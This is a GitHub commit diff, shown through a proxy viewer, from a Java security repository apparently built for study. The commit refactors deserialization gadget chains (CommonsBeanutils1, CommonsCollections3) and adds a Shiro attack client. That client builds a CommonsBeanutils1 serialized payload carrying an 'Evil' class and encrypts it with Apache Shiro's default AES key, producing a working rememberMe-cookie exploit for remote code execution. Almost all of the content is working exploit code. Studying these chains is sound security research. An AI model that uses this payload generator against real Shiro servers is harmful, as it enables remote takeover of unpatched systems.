FazBrowse GitHub Viewer | Trending |
URL:
| Home
Tools: [Download Repo ZIP]   [Original HTTPS Page]

improve · httpsa/JavaThings@49cb1bb · GitHub

  1. httpsa
  2. JavaThings

Repository navigation

Commit 49cb1bb

Browse files
phith0n
committed
improve
1 parent 16100a4 commit 49cb1bb

5 files changed

Lines changed: 76 additions & 15 deletions

File tree

‎general/src/main/java/com/govuln/deserialization/CommonsBeanutils1.java‎

Lines changed: 3 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,6 @@
1010
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
1111
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
1212
import javassist.ClassPool;
13-
import javassist.CtClass;
1413
import org.apache.commons.beanutils.BeanComparator;
1514

1615
public class CommonsBeanutils1 {
@@ -20,15 +19,11 @@ public static void setFieldValue(Object obj, String fieldName, Object value) thr
2019
field.set(obj, value);
2120
}
2221

23-
protected static byte[] getBytescode() throws Exception {
24-
ClassPool pool = ClassPool.getDefault();
25-
CtClass clazz = pool.get(evil.EvilTemplatesImpl.class.getName());
26-
return clazz.toBytecode();
27-
}
28-
2922
public static void main(String[] args) throws Exception {
3023
TemplatesImpl obj = new TemplatesImpl();
31-
setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});
24+
setFieldValue(obj, "_bytecodes", new byte[][]{
25+
ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode()
26+
});
3227
setFieldValue(obj, "_name", "HelloTemplatesImpl");
3328
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
3429

‎general/src/main/java/com/govuln/deserialization/CommonsCollections3.java‎

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,8 @@
33
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
44
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
55
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
6+
import javassist.ClassPool;
7+
import javassist.CtClass;
68
import org.apache.commons.collections.Transformer;
79
import org.apache.commons.collections.functors.ChainedTransformer;
810
import org.apache.commons.collections.functors.ConstantTransformer;
@@ -30,10 +32,10 @@ public static void setFieldValue(Object obj, String fieldName, Object value) thr
3032
}
3133

3234
public static void main(String[] args) throws Exception {
33-
// source: bytecodes/HelloTemplateImpl.java
34-
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE=");
3535
TemplatesImpl obj = new TemplatesImpl();
36-
setFieldValue(obj, "_bytecodes", new byte[][]{code});
36+
setFieldValue(obj, "_bytecodes", new byte[][]{
37+
ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode()
38+
});
3739
setFieldValue(obj, "_name", "HelloTemplatesImpl");
3840
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
3941

‎general/src/main/java/com/govuln/deserialization/CommonsCollections3For4.java‎

Lines changed: 5 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,8 @@
33
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
44
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
55
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
6+
import javassist.ClassPool;
7+
import javassist.CtClass;
68
import org.apache.commons.collections4.Transformer;
79
import org.apache.commons.collections4.functors.ChainedTransformer;
810
import org.apache.commons.collections4.functors.ConstantTransformer;
@@ -18,7 +20,6 @@
1820
import java.lang.reflect.Constructor;
1921
import java.lang.reflect.Field;
2022
import java.lang.reflect.InvocationHandler;
21-
import java.util.Base64;
2223
import java.util.HashMap;
2324
import java.util.Map;
2425

@@ -30,10 +31,10 @@ public static void setFieldValue(Object obj, String fieldName, Object value) thr
3031
}
3132

3233
public static void main(String[] args) throws Exception {
33-
// source: bytecodes/HelloTemplateImpl.java
34-
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE=");
3534
TemplatesImpl obj = new TemplatesImpl();
36-
setFieldValue(obj, "_bytecodes", new byte[][]{code});
35+
setFieldValue(obj, "_bytecodes", new byte[][]{
36+
ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode()
37+
});
3738
setFieldValue(obj, "_name", "HelloTemplatesImpl");
3839
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
3940

‎shiroattack/src/main/java/com/govuln/shiroattack/Client1.java‎

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
package com.govuln.shiroattack;
2+
3+
import javassist.ClassPool;
4+
import javassist.CtClass;
5+
import org.apache.shiro.crypto.AesCipherService;
6+
import org.apache.shiro.util.ByteSource;
7+
8+
public class Client1 {
9+
public static void main(String []args) throws Exception {
10+
ClassPool pool = ClassPool.getDefault();
11+
CtClass clazz = pool.get(com.govuln.shiroattack.Evil.class.getName());
12+
byte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode());
13+
14+
AesCipherService aes = new AesCipherService();
15+
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
16+
17+
ByteSource ciphertext = aes.encrypt(payloads, key);
18+
System.out.printf(ciphertext.toString());
19+
}
20+
}

‎shiroattack/src/main/java/com/govuln/shiroattack/CommonsBeanutils1Shiro.java‎

Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
package com.govuln.shiroattack;
2+
3+
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
4+
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
5+
import org.apache.commons.beanutils.BeanComparator;
6+
7+
import java.io.ByteArrayOutputStream;
8+
import java.io.ObjectOutputStream;
9+
import java.lang.reflect.Field;
10+
import java.util.PriorityQueue;
11+
12+
public class CommonsBeanutils1Shiro {
13+
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
14+
Field field = obj.getClass().getDeclaredField(fieldName);
15+
field.setAccessible(true);
16+
field.set(obj, value);
17+
}
18+
19+
public byte[] getPayload(byte[] clazzBytes) throws Exception {
20+
TemplatesImpl obj = new TemplatesImpl();
21+
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
22+
setFieldValue(obj, "_name", "HelloTemplatesImpl");
23+
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
24+
25+
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
26+
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
27+
// stub data for replacement later
28+
queue.add("1");
29+
queue.add("1");
30+
31+
setFieldValue(comparator, "property", "outputProperties");
32+
setFieldValue(queue, "queue", new Object[]{obj, obj});
33+
34+
// ==================
35+
// 生成序列化字符串
36+
ByteArrayOutputStream barr = new ByteArrayOutputStream();
37+
ObjectOutputStream oos = new ObjectOutputStream(barr);
38+
oos.writeObject(queue);
39+
oos.close();
40+
41+
return barr.toByteArray();
42+
}
43+
}

0 commit comments

Comments
 (0)
Back | FazBrowse Home | New Git URL